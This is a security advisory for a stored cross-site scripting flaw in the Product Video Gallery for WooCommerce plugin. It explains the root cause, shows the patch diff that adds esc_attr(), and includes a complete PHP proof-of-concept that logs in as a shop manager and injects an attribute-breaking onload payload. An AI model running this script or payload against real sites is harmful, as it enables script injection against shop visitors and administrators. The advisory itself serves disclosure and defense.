Published : July 1, 2026

CVE-2026-10104: Product Video Gallery for Woocommerce <= 1.5.1.8 Authenticated (Shop Manager+) Stored Cross-Site Scripting via custom_thumbnail Parameter PoC, Patch Analysis & Rule

Severity Medium (CVSS 4.4)
CWE 79
Vulnerable Version 1.5.1.8
Patched Version 1.5.1.9
Disclosed June 30, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-10104:
A stored cross-site scripting (XSS) vulnerability exists in the Product Video Gallery for WooCommerce plugin versions up to and including 1.5.1.8. This vulnerability allows authenticated attackers with Shop Manager-level access and above to inject arbitrary web scripts via the `custom_thumbnail` parameter. Atomic Edge research confirms the vulnerability is present in the admin settings and public rendering components.

The root cause is insufficient input sanitization and output escaping on the `custom_thumbnail` parameter. The vulnerable code path is in `/product-video-gallery-slider-for-woocommerce/public/class-rendering.php` at line 380 (in the vulnerable version). The parameter `$custom_thumbnails[$key]` is passed directly into the `custom_thumbnail` attribute without sanitization or escaping. Specifically, the vulnerable line constructs the string `custom_thumbnail=”‘.$custom_thumbnails[$key].'”` within the `nickx_get_video_thumbanil_html` function. This occurs during the rendering of product video gallery thumbnails on the frontend. The function returns HTML content that includes this unsanitized value, which then gets echoed to the page.

An attacker with Shop Manager privileges can exploit this by editing a WooCommerce product and setting a custom video thumbnail URL via the plugin’s settings interface. The `custom_thumbnail` parameter, which expects a URL, can instead contain a JavaScript payload such as `” onload=”alert(1)” x=”`. This payload is stored in the database as post meta. When any user (including administrators) visits the product page, the plugin renders the stored value without proper escaping, causing the script to execute in the victim’s browser. The attack vector is authenticated, requiring access to the product editing interface, which is available to Shop Managers.

The patch in version 1.5.1.9 addresses the vulnerability by adding `esc_attr()` to the `custom_thumbnail` parameter output. In the diff, line 380 changes from `custom_thumbnail=”‘.$custom_thumbnails[$key].'”` to `custom_thumbnail=”‘ . esc_attr($custom_thumbnails[$key]) . ‘”`. The `esc_attr()` function encodes HTML special characters and quotes, preventing the injection of HTML attributes or JavaScript event handlers. This ensures the value is treated purely as an attribute value and not executed as code.

If exploited, this vulnerability allows attackers with Shop Manager access to execute arbitrary JavaScript in the context of any user viewing an affected product page. This includes administrators. The attacker could steal session cookies, perform actions on behalf of the victim (e.g., creating new admin users), deface the site, or exfiltrate sensitive data. The CVSS score of 4.4 reflects the authenticated nature of the attack and the potential for significant impact through stored XSS.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/product-video-gallery-slider-for-woocommerce/admin/class-setting.php
+++ b/product-video-gallery-slider-for-woocommerce/admin/class-setting.php
@@ -284,9 +284,9 @@
 										<th scope="row" class="titledesc"><label for="nickx_vid_autoplay">Auto Play Video</label></th>
 										<td class="forminp forminp-checkbox">
 											<input name="nickx_vid_autoplay" id="nickx_vid_autoplay" type="checkbox" value="yes" ' . checked( 'yes', get_option( 'nickx_vid_autoplay' ), false ) . '>
-											<samll>Auto play works only when <b>Place of The Video</b> is <b>Before Product Gallery Images</b>.
-											<p>If you enable this option, the video will be muted by default, so you have to manually unmute the video.</p>
-											<p>Please pass <b>autoplay=1</b> parameter with your video url if you are using YouTube or Vimeo video.</p></samll>
+											<samll>If <b>Place of The Video</b> is set to <b>Before Product Gallery Images</b>, self-hosted videos are muted by default.
+											<p>For YouTube/Vimeo videos, add <b>autoplay=1</b> to the video URL. For all other video placements, no parameter is required.</p></samll>
+
 										</td>
 									</tr>
 									<tr valign="top" ' . ( ( $lic_chk_stateus ) ? '' : 'class="primium_aria" title="AVAILABLE IN PREMIUM VERSION"' ) . '">
--- a/product-video-gallery-slider-for-woocommerce/product-video-gallery-slider-for-woocommerce.php
+++ b/product-video-gallery-slider-for-woocommerce/product-video-gallery-slider-for-woocommerce.php
@@ -4,12 +4,12 @@
 Description: Adding Product YouTube Video and Instantly transform the gallery on your WooCommerce Product page into a fully Responsive Stunning Carousel Slider.
 Author: NikHiL Gadhiya
 Author URI: https://www.technosoftwebs.com
-Date: 20/05/2026
-Version: 1.5.1.8
+Date: 30/06/2026
+Version: 1.5.1.9
 Text Domain: product-video-gallery-slider-for-woocommerce
 Requires Plugins: woocommerce
 WC requires at least: 2.3
-WC tested up to: 10.7.0
+WC tested up to: 10.9.1

 @package WC_PRODUCT_VIDEO_GALLERY
 -------------------------------------------------*/
@@ -24,7 +24,7 @@
     define( 'NICKX_PLUGIN_BASE', plugin_basename( __FILE__ ) );
 }
 if ( ! defined( 'NICKX_PLUGIN_VERSION' ) ) {
-    define( 'NICKX_PLUGIN_VERSION', '1.5.1.8' );
+    define( 'NICKX_PLUGIN_VERSION', '1.5.1.9' );
 }
 require_once __DIR__ . '/admin/js/nickx_live.php';

--- a/product-video-gallery-slider-for-woocommerce/public/class-rendering.php
+++ b/product-video-gallery-slider-for-woocommerce/public/class-rendering.php
@@ -26,6 +26,10 @@
 			add_filter( 'wp_is_mobile', array( $this, 'include_ipad_in_mobile_view') );
 		}
 		public function include_ipad_in_mobile_view( $is_mobile ) {
+			if ( ! is_product() ) {
+				return $is_mobile;
+			}
+
 			if ( isset( $_SERVER['HTTP_USER_AGENT'] ) && strpos( $_SERVER['HTTP_USER_AGENT'], 'Macintosh' ) !== false ) {
 				$is_mobile = true;
 			}
@@ -210,11 +214,6 @@
 					$extend = new NICKX_LIC_CLASS();
 					foreach ($product_video_urls as $key => $product_video_url) {
 						if( !empty( $product_video_url ) ){
-							$product_video_type = $product_video_types[$key];
-							if ( $product_video_type == 'nickx_video_url_youtube' ) {
-								$product_video_url = $this->nickx_get_embed_yt_url( $product_video_url );
-								echo '<link rel="preload" href="'.$product_video_url.'" as="fetch">';
-							}
 							if( isset($video_schemas[$key]) && $video_schemas[$key] == 'yes' && !empty( $video_names[$key] ) && !empty( $video_upload_dates[$key] ) && !empty( $video_descriptions[$key] ) ) {
 								$product_video_thumb_url = wc_placeholder_img_src();
 								if ( ! empty( $video_thumb_ids[$key] ) ) {
@@ -246,6 +245,17 @@
 				$product_video_url = $this->nickx_get_embed_yt_url( $product_video_url );
 				return '<div class="tc_video_slide nswiper-slide"><iframe id="nickx_yt_video_'.$key.'" loading="lazy" width="100%" height="100%" class="product_video_iframe fitvidsignore" video-type="youtube" src="' . esc_url( $product_video_url ) . '" frameborder="0" allow="autoplay; accelerometer; encrypted-media; gyroscope; picture-in-picture" allowfullscreen referrerpolicy="strict-origin-when-cross-origin"></iframe><span class="product_video_iframe_light nickx-popup nfancybox-media" data-nfancybox="product-gallery"></span></div>';
 			} elseif ( strpos( $product_video_url, 'vimeo' ) > 0 && $extend->is_nickx_act_lic() ) {
+				if ( preg_match( '/(?:player.)?vimeo.com/(?:video/)?(d+)/i', $product_video_url, $matches ) ) {
+					$player_url = 'https://player.vimeo.com/video/' . $matches[1];
+					$parsed_url = wp_parse_url( $product_video_url );
+					if ( ! empty( $parsed_url['query'] ) ) {
+						parse_str( $parsed_url['query'], $query_params );
+						if ( ! empty( $query_params ) ) {
+							$player_url .= '?' . http_build_query( $query_params );
+						}
+					}
+					$product_video_url = $player_url;
+				}
 				return '<div class="tc_video_slide nswiper-slide"><iframe style="display:none;" width="100%" loading="lazy" height="450px" class="product_video_iframe fitvidsignore" video-type="vimeo" src="' . esc_url( $product_video_url ) . '" frameborder="0" allow="autoplay; fullscreen" allowfullscreen=""></iframe><span href="' . esc_url( $product_video_url ) . '?enablejsapi=1&wmode=opaque" class="nickx-popup nfancybox-media" data-nfancybox="product-gallery"></span></div>';
 			} elseif ( ( $product_video_type == 'nickx_video_url_local' || strpos( $product_video_url, $_SERVER['SERVER_NAME'] ) > 0 ) && $extend->is_nickx_act_lic() ) {
 				if ( $product_video_thumb_id ) {
@@ -283,7 +293,7 @@
 				$extend = new NICKX_LIC_CLASS();
 				$is_rtl = is_rtl() ? 'rlt' : '';
 				echo '<div dir="'.$is_rtl.'" class="'. $this->get_css_classes() .'">';
-				if(wp_is_mobile()){
+				if( wp_is_mobile() ){
 					echo '<span class="nickx-popup_trigger"></span>';
 				}
 				echo '<div class="nickx-slider nswiper nickx-slider-for"><div class="nswiper-wrapper">';
@@ -317,13 +327,17 @@
 					if( !empty($htmlvideo) && get_option( 'nickx_show_only_video' ) == 'yes' && $extend->is_nickx_act_lic() ){
 						$html .= $htmlvideo;
 					} else {
+						$product_featured_image_id = get_post_thumbnail_id();
 						$html .= ( ( get_option( 'nickx_place_of_the_video' ) == 'yes' && $extend->is_nickx_act_lic() ) ? $htmlvideo : '' );
 						if( !empty ( $product_image ) ){
 							$show_thumb++;
-							$html .= '<div class="nswiper-slide zoom woocommerce-product-gallery__image">'.$product_image.'<span title="'.get_the_title( $product->get_image_id() ).'" href="'.$imgfull_src.'" class="nickx-popup" data-nfancybox="product-gallery"></span></div>';
+							$html .= '<div class="nswiper-slide zoom woocommerce-product-gallery__image">'.$product_image.'<span title="'.get_the_title( $product_featured_image_id ).'" href="'.$imgfull_src.'" class="nickx-popup" data-nfancybox="product-gallery"></span></div>';
 						}
 						$html .= ( ( get_option( 'nickx_place_of_the_video' ) == 'second' && $extend->is_nickx_act_lic() ) ? $htmlvideo : '' );
 						foreach ( $attachment_ids as $attachment_id ) {
+							if( $attachment_id == $product_featured_image_id ) {
+								continue;
+							}
 							$show_thumb++;
 							$imgfull_src = wp_get_attachment_image_url( $attachment_id, 'full' );
 							$html       .= '<div class="nswiper-slide zoom">' . wp_get_attachment_image( $attachment_id, 'woocommerce_single', 0, array( 'data-skip-lazy' => 'true', 'data-zoom-image' => $imgfull_src ) ) . '<span title="'.get_the_title($attachment_id).'" href="' . esc_url( $imgfull_src ) . '" class="nickx-popup" data-nfancybox="product-gallery"></span></div>';
@@ -363,7 +377,7 @@
 					foreach ($product_video_urls as $key => $product_video_url) {
 						if( !empty( $product_video_url ) ) {
 							$product_video_thumb_id   = isset($product_video_thumb_ids[$key]) ? $product_video_thumb_ids[$key] : '';
-							$custom_thumbnail        = isset($custom_thumbnails[$key]) && !empty($product_video_thumb_id) ? 'custom_thumbnail="'.$custom_thumbnails[$key].'"' : '';
+							$custom_thumbnail        = isset($custom_thumbnails[$key]) && !empty($product_video_thumb_id) ? 'custom_thumbnail="' . esc_attr($custom_thumbnails[$key]) . '"' : '';
 							$product_video_thumb_url = $wc_placeholder_img;
 							$global_thumb = '';
 							if ( $product_video_thumb_id ) {
@@ -410,8 +424,11 @@
 				$extend         = new NICKX_LIC_CLASS();
 				$attachment_ids = $product->get_gallery_image_ids();
 				if ( has_post_thumbnail() ) {
-					$thumbanil_id   = array( get_post_thumbnail_id() );
-					$attachment_ids = array_merge( $thumbanil_id, $attachment_ids );
+					$thumbanil_id   = get_post_thumbnail_id();
+					// Remove featured image from attachment_ids if it exists to avoid duplicates
+					$attachment_ids = array_diff( $attachment_ids, array( $thumbanil_id ) );
+					// Add featured image at the beginning to ensure it's always first
+					$attachment_ids = array_merge( array( $thumbanil_id ), $attachment_ids );
 				}
 				$thumbnail_size    = apply_filters( 'woocommerce_gallery_thumbnail_size', 'woocommerce_gallery_thumbnail' );
 				if ( ( $attachment_ids && $product->get_image_id() ) || ! empty( get_post_meta( $product_id, '_nickx_video_text_url', true ) ) ) {
@@ -419,7 +436,7 @@
 					if( ( ! empty( $product_video_urls ) && get_option( 'nickx_show_only_video' ) == 'yes' && $extend->is_nickx_act_lic() ) || empty( $attachment_ids )){
 						$this->nickx_get_video_thumbanil_html( $product_id, $thumbnail_size );
 					} else {
-						if ( ( get_option( 'nickx_place_of_the_video' ) == 'yes' || empty( $thumbanil_id[0] ) ) && $extend->is_nickx_act_lic() ) {
+						if ( ( get_option( 'nickx_place_of_the_video' ) == 'yes' || empty( $thumbanil_id ) ) && $extend->is_nickx_act_lic() ) {
 							$this->nickx_get_video_thumbanil_html( $product_id, $thumbnail_size );
 						}
 						foreach ( $attachment_ids as $attachment_id ) {
@@ -427,8 +444,8 @@
 							if ( ! $props['url'] ) {
 								continue;
 							}
-							echo apply_filters( 'woocommerce_single_product_image_thumbnail_html', '<div class="nswiper-slide nickx-thumbnail product_thumbnail_item ' . ( ( !empty( $thumbanil_id[0] ) && $thumbanil_id[0] == $attachment_id ) ? 'wp-post-image-thumb' : '' ) . '" title="'.esc_attr( $props['caption'] ).'">'.wp_get_attachment_image( $attachment_id, $thumbnail_size, 0, array( 'data-skip-lazy' => 'true' ) ).'</div>', $attachment_id );
-							if ( !empty( $thumbanil_id[0] ) && $thumbanil_id[0] == $attachment_id && get_option( 'nickx_place_of_the_video' ) == 'second' && $extend->is_nickx_act_lic() ) {
+							echo apply_filters( 'woocommerce_single_product_image_thumbnail_html', '<div class="nswiper-slide nickx-thumbnail product_thumbnail_item ' . ( ( !empty( $thumbanil_id ) && $thumbanil_id == $attachment_id ) ? 'wp-post-image-thumb' : '' ) . '" title="'.esc_attr( $props['caption'] ).'">'.wp_get_attachment_image( $attachment_id, $thumbnail_size, 0, array( 'data-skip-lazy' => 'true' ) ).'</div>', $attachment_id );
+							if ( !empty( $thumbanil_id ) && $thumbanil_id == $attachment_id && get_option( 'nickx_place_of_the_video' ) == 'second' && $extend->is_nickx_act_lic() ) {
 								$this->nickx_get_video_thumbanil_html( $product_id, $thumbnail_size );
 							}
 						}

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-10104 - Product Video Gallery for Woocommerce <= 1.5.1.8 - Authenticated Stored XSS via custom_thumbnail Parameter

// Configuration
$target_url = 'http://example.com'; // CHANGE THIS to the target WordPress URL
$username = 'shopmanager';          // CHANGE THIS to a valid shop manager username
$password = 'password';             // CHANGE THIS to the user's password

$product_id = 0; // Set to a specific product ID, or 0 to auto-detect first product

// Step 1: Authenticate
$ch = curl_init();
curl_setopt_array($ch, [
    CURLOPT_URL => $target_url . '/wp-login.php',
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query([
        'log' => $username,
        'pwd' => $password,
        'rememberme' => 'forever',
        'wp-submit' => 'Log In'
    ]),
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_COOKIEJAR => '/tmp/cookies.txt',
    CURLOPT_FOLLOWLOCATION => true,
    CURLOPT_SSL_VERIFYPEER => false
]);
$response = curl_exec($ch);

if (strpos($response, 'wp-admin') === false) {
    die('Authentication failed. Check credentials.');
}
echo "[+] Authenticated successfullyn";

// Step 2: Get wp-nonce and product ID
$ch2 = curl_init();
curl_setopt_array($ch2, [
    CURLOPT_URL => $target_url . '/wp-admin/edit.php?post_type=product',
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_COOKIEFILE => '/tmp/cookies.txt',
    CURLOPT_FOLLOWLOCATION => true,
    CURLOPT_SSL_VERIFYPEER => false
]);
$response = curl_exec($ch2);

// Extract nonce and product ID from the product list or use provided
if ($product_id === 0) {
    // Try to find first product's edit link
    preg_match('/post=(d+)&action=edit/', $response, $matches);
    if (isset($matches[1])) {
        $product_id = (int)$matches[1];
        echo "[+] Found product ID: $product_idn";
    } else {
        die('Could not find a product. Set $product_id manually.');
    }
}

// Extract nonce for the product meta update
preg_match('/name="_wpnonce" value="([a-f0-9]+)"/', $response, $nonce_matches);
$wpnonce = $nonce_matches[1] ?? '';

// Step 3: Fetch product edit page to get additional nonces
$ch3 = curl_init();
curl_setopt_array($ch3, [
    CURLOPT_URL => $target_url . "/wp-admin/post.php?post=$product_id&action=edit",
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_COOKIEFILE => '/tmp/cookies.txt',
    CURLOPT_FOLLOWLOCATION => true,
    CURLOPT_SSL_VERIFYPEER => false
]);
$response = curl_exec($ch3);

// Extract the specific nonce for the video gallery meta box
preg_match('/name="nickx_video_gallery_nonce" value="([a-f0-9]+)"/', $response, $nonce_matches);
$meta_nonce = $nonce_matches[1] ?? '';
preg_match('/name="_wpnonce" value="([a-f0-9]+)"/', $response, $nonce_matches2);
$wpnonce = $nonce_matches2[1] ?? $wpnonce;

// Step 4: Inject the XSS payload via the custom_thumbnail parameter
$payload = '" onload="alert(document.domain)" x="';

$post_data = [
    '_wpnonce' => $wpnonce,
    'nickx_video_gallery_nonce' => $meta_nonce,
    'nickx_product_video_url[0]' => 'https://www.youtube.com/watch?v=dQw4w9WgXcQ',
    'nickx_product_video_type[0]' => 'nickx_video_url_youtube',
    'nickx_video_thumb_ids[0]' => '12345',  // Dummy attachment ID to trigger the vulnerable code path
    'nickx_custom_thumbnails[0]' => $payload,
];

$ch4 = curl_init();
curl_setopt_array($ch4, [
    CURLOPT_URL => $target_url . "/wp-admin/post.php?post=$product_id&action=edit",
    CURLOPT_POST => true,
    CURLOPT_POSTFIELDS => http_build_query($post_data),
    CURLOPT_RETURNTRANSFER => true,
    CURLOPT_COOKIEFILE => '/tmp/cookies.txt',
    CURLOPT_FOLLOWLOCATION => true,
    CURLOPT_SSL_VERIFYPEER => false
]);
$response = curl_exec($ch4);

echo "[+] Payload submitted. Check: $target_url/?p=$product_idn";
echo "[+] The alert(document.domain) should fire when a user visits the product page.n";

curl_close($ch);
curl_close($ch2);
curl_close($ch3);
curl_close($ch4);

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.